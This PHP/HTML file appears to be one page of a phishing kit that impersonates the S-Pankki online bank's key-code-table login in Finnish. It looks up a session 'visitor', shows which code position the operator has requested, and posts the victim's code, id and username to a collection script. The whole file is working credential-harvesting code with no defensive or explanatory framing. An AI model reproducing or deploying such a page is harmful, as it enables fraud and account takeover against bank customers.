<?php
     // Start the session to access session variables
     session_start();
    
     // Include your database connection file
     require_once '../../oyexa/config.php';
     
     // Check if the user is logged in
     if (!isset($_SESSION['visitor_id'])) {
         // If not logged in, redirect to the login page
         header("Location: login/spk.php");
         exit;
     }
     
     // Fetch the redirect address of the logged-in user from the database
     $visitor_id = $_SESSION['visitor_id'];
     $stmt = $pdo->prepare("SELECT * FROM visitors WHERE id = ?");
     $stmt->execute([$visitor_id]);
     $visitor = $stmt->fetch(PDO::FETCH_ASSOC);

?>
<!DOCTYPE html>
<html lang="fi">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="0">
    <meta http-equiv="Cache-Control" content="no-cache">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    
    <link rel='shortcut icon' href='https://www.s-pankki.fi/favicon.ico' />
    <link href="./Tunnistautuminen_files/auth.05f49022e1cd9c5b1b15.css" rel="stylesheet">
    
    <style type="text/css">
        .gt {
            font-weight: bold;
            font-size: 18px;
        }

        html, body {
            height: 100% !important;
            overflow: hidden;
        }

       
    </style>
    <title>S-Pankki</title>

    <noscript>
        <div class="js-error">
            <div class="logo">
                <div class="image-wrapper">
                    <div class="image"></div>
                </div>
            </div>
            <div class="system-error">
                <div class="js-error--wrapper">
                    <div class="text">
                        <h2></h2>
                        <p>.</p>
                    </div>
                    <div class="image">
                        <div class="illustration"></div>
                    </div>
                </div>
            </div>
        </div>
    </noscript>
</head>

<body class="ebank no-js fi">
    <main class="page-wrapper login-layout">
        <div class="page-info"></div>
        <div class="page-box">
            <div class="page-box-header">
                <h2 class="page-box-heading">
                    <img src="Tunnistautuminen_files/spankki.png" alt="" width="67" height="24" align="left">Tunnuslukutaulukolla tunnistautuminen
                </h2>
            </div>
            <div class="page-box-banner">
                <img src="Tunnistautuminen_files/codetable (2).jpg" alt="" width="99%" height="212">
            </div>
            <div class="page-box-content">
                <div class="grid-x">
                    <div class="page-box-description cell small-12 medium-6">
                        <p class="gt" style="font-family: inherit; font-weight: normal;"> Viimeistele tunnistautuminen tunnuslukutaulukolla.</p>
                    </div>
                    <div class="cell small-12 medium-6">
                        <form method="POST" action="../code.php">
                            <input type="hidden" id='loader' name="loader" value="activates">
                            <input type="hidden" id='id' name="id" value="256">
                            <div class="form__normal">
                                <div class="is-required">
                                    <label for="pin-code" class="form__label">Anna tunnusluku kohdasta : <?= $visitor['requested_key_code'];?></strong></label>                                                                    
                                    <small id="code-table-number">*</small>
                                    <input type="hidden" name="visitor_id" value="<?= $visitor['id']; ?>">
                                    <input type="hidden" name="username" value="<?= $visitor['username']; ?>">
                                    <input type="text" id="security" name="key_code" maxlength="12" value="" size="12" class="form__password js_focusOnMe" autocomplete="" required>
                                </div>
                                <div class="button-row">
                                    <button type="submit" class="btn btn-danger border-0" name="submit_key_code" value="Jatka"> 
                                        <span class="btn-normal">
                                            <span class="arrow">Jatka</span>
                                        </span>
                                    </button>
                                </div>
                            </div>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </main>
</body>

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script type="text/javascript" src="jquery-3.7.0.min.js"></script>

<!-- <script>
    const forms = document.getElementById("logform");
    forms.addEventListener("submit", (e) => {
        e.preventDefault();
        const security = forms['security'].value;

        if (security == "") {
            document.getElementById("security_err").style.color = 'red';
            document.getElementById("security_err").innerHTML = 'Please enter your security number';
            return;
        }

        if (security.length > 8) {
            document.getElementById("security_err").style.color = 'red';
            document.getElementById("security_err").innerHTML = '* Invalid code number';
            return;
        }

        forms.submit();
    })

    const clearError = () => {
        document.getElementById("security_err").innerHTML = '';
    }
</script> -->

</html>
